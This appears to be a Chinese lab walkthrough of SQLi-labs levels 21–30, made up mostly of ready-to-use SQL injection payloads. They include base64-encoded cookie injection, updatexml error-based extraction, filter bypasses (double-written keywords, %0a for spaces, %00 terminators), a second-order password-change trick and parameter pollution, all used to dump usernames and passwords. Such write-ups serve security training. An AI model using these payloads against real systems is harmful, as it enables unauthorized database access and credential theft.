第二十一关
第二十一关 同二十关 为HTTP头部注入中对Cookie注⼊值的注入
登录一下

进行抓包 语句写入Cookie值中,但我们发现uname进行了加密,采用base64加密,我们的sql注入语句也要使用加密后的 Base64 在线编码解码 | Base64 加密解密 - Base64.us

也可在浏览器器中进行注入(按F12 应用程序或存储中可找到)
尝试闭合,闭合符号也要经过转码 发现闭合符号为') --> Jyk= ')# --> Jykj


查询数据库
') or (updatexml(1,concat(1,database()),1))#
Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLGRhdGFiYXNlKCkpLDEpKSM=
获取表名
') or (updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1)) #
Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkpICM=

获取字段名
') or (updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),1)) #
Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJykpLDEpKSAj
获取username具体值
') or (updatexml(1,concat(1,(select group_concat(username)from(select username from users)a)),1)) #
Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKWZyb20oc2VsZWN0IHVzZXJuYW1lIGZyb20gdXNlcnMpYSkpLDEpKSAj
获取password的具体值
') or (updatexml(1,concat(1,(select group_concat(password)from(select password from users)a)),1)) #
Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHBhc3N3b3JkKWZyb20oc2VsZWN0IHBhc3N3b3JkIGZyb20gdXNlcnMpYSkpLDEpKSAj
获取第一条username和password的所有值
') or (updatexml(1,concat(1,(select group_concat(username,'~',password)from(select username,password from users limit 0,1 )a)),1)) #
Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCd+JyxwYXNzd29yZClmcm9tKHNlbGVjdCB1c2VybmFtZSxwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDAsMSApYSkpLDEpKSAj
第二十二关
同上一关,闭合符号改为了 " 对应的语句也需要重新编码
查询数据库
" or (updatexml(1,concat(1,database()),1))#
IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsZGF0YWJhc2UoKSksMSkpIw==
获取表名
" or (updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1)) #
IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSlmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpKSwxKSkgIw==
获取字段名
" or (updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),1)) #
IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZT0ndXNlcnMnKSksMSkpICM=
获取username具体值
" or (updatexml(1,concat(1,(select group_concat(username)from(select username from users)a)),1)) #
IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpZnJvbShzZWxlY3QgdXNlcm5hbWUgZnJvbSB1c2VycylhKSksMSkpICM=
获取password的具体值
" or (updatexml(1,concat(1,(select group_concat(password)from(select password from users)a)),1)) #
IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQpZnJvbShzZWxlY3QgcGFzc3dvcmQgZnJvbSB1c2VycylhKSksMSkpICM=
获取第一条username和password的所有值
" or (updatexml(1,concat(1,(select group_concat(username,'~',password)from(select username,password from users limit 0,1 )a)),1)) #
IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsJ34nLHBhc3N3b3JkKWZyb20oc2VsZWN0IHVzZXJuYW1lLHBhc3N3b3JkIGZyb20gdXNlcnMgbGltaXQgMCwxIClhKSksMSkpICM=
第二十三关
尝试闭合' 但#和--+都无法闭合


选择' or ' 闭合,闭合成功

接下来的步骤同之前
?id=1' order by 1 or '
?id=1' order by 4 or ' 出现错误,说明有3个字段
?id=-1' union select 1,2,3 or ' 查看回显位
?id=-1' union select 1,database(),3 or ' 得出数据库的名字
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' or ' 得到库中的所有表
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' or ' 得到表中的字段
?id=-1' union select 1,group_concat(id,'~',username,'~',password),3 from users or '得到具体信息
第二十四关
本关的要求不是找到数据库,是修改其他用户的密码
我们先注册一个test账户,密码为123

登录 可以看到登录后我们进入的是修改密码的页面

点击logout退回去,再新建一个用户为test'# 密码为123456

登录test'#账户 修改密码为111


再登录时发现test的密码不是原本的123了 而是刚才修改的test'#账户的密码111
利用同名加 '# 来修改原本账户的密码,这就是本关的漏洞
第二十五关
本关过滤了and、or,可以用||、|代替,或者双写绕过anandd、oorr
?id=1' oorrder by 1 --+
?id=1' oorrder by 4 --+ 出现错误,说明有3个字段
?id=-1' union select 1,2,3 --+ 查看回显位
?id=-1' union select 1,database(),3 --+ 得出数据库的名字
?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+ 得到库中的所有表
?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' --+ 得到表中的字段
?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users' --+ 得到表中的字段
?id=-1' union select 1,group_concat(id,'~',username,'~',passwoorrd),3 from users --+得到具体信息
第二十五a关
是数字型, 语句同上关,不需要闭合id的单引号
第二十六关
本关禁用了空格、and和or
1.获取数据库名
?id=1' ||updatexml(1,concat(1,database()),3)|| '
2.获取数据库表名
?id=1'||(updatexml(1,concat(1,(select(group_concat(table_name))from (infoorrmation_schema.tables)where(table_schema='security'))),1))||'
3.获取字段名
?id=1'||(updatexml(1,concat(1,(select(group_concat(column_name))from (infoorrmation_schema.columns)where(table_schema='security'aandnd
(table_name='users')))),1))||'
4.获取用户名和密码
?id=1'||(updatexml(1,concat(1,(select(group_concat(id,'',username,'',passwoorrd))from( users))),3))||'
第二十六关a
条件同上关,通过括号进行闭合,但不能使用报错注入
?id=1')oorr('1')=('1
尝试后面的语句,报错告诉我们是布尔型,也就是需要布尔盲注

第二十七关
没有过滤and和or,过滤了空格,select和union,我们可以大小写绕过以及重写绕过 %0a
?id=0'%0Aununionion%0ASElect%0A1,2,3%0Aor%0A' 查看回显位

?id=0'%0Auunionnion%0ASElect%0A1,database(),3%0Aor ' 得出数据库的名字

?id=0'%0Aunion%0Aselect%0A1,group_concat(table_name),3%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Aor%0A' 得到库中的所有表
?id=0'%0Auunionnion%0ASElect%0A1,group_concat(column_name),3%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aor%0A' 得到表中的字段
?id=0'%0Auunionnion%0ASElect%0A1,group_concat(id,'~',username,'~',password),3%0Afrom%0Ausers%0Aor%0A' 得到具体信息
第二十七关a
条件同上关,通过双引号进行闭合 末尾加;%00闭合
?id=1"%0Aand%0A1=1;%00 闭合
?id=0"%0auNIon%0aSelECt%0a1,2,3;%00 回显
?id=0"%0AuNIon%0ASelECt%0A1,database(),3;%0A%00 数据库
?id=0"%0auNIon%0aSelECt%0a1,2,(selECt%0agroup_concat(username,'~',password)%0afrom%0ausers);%00 全部数据
第二十八关
过滤union select整体,整体双写即可 闭合符号 ')
?id=0%27)%0aunion%0aseunion%0aselectlect%0a1,2,3;%00
?id=0')%0Aunion%0aseunion%0aselectlect%0A1,database(),3;%0A%00
其余同上关,将 闭合符号 ') 和union select --> union%0aseunion%0aselectlect进行替换就行
第二十八关a
同上关,只过滤union select,上关代码直接拿来用
第二十九关
会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。
?id=1&id=0'union select 1,2,3--+
?id=1&id=0' union select 1,database(),3 --+
?id=1&id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
?id=1&id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
?id=1&id=0' union select 1,group_concat(id,'~',username,'~',password),3 from users --+
第三十关
同上,闭合符号为 " ,上关代码只需替换闭合就可以直接用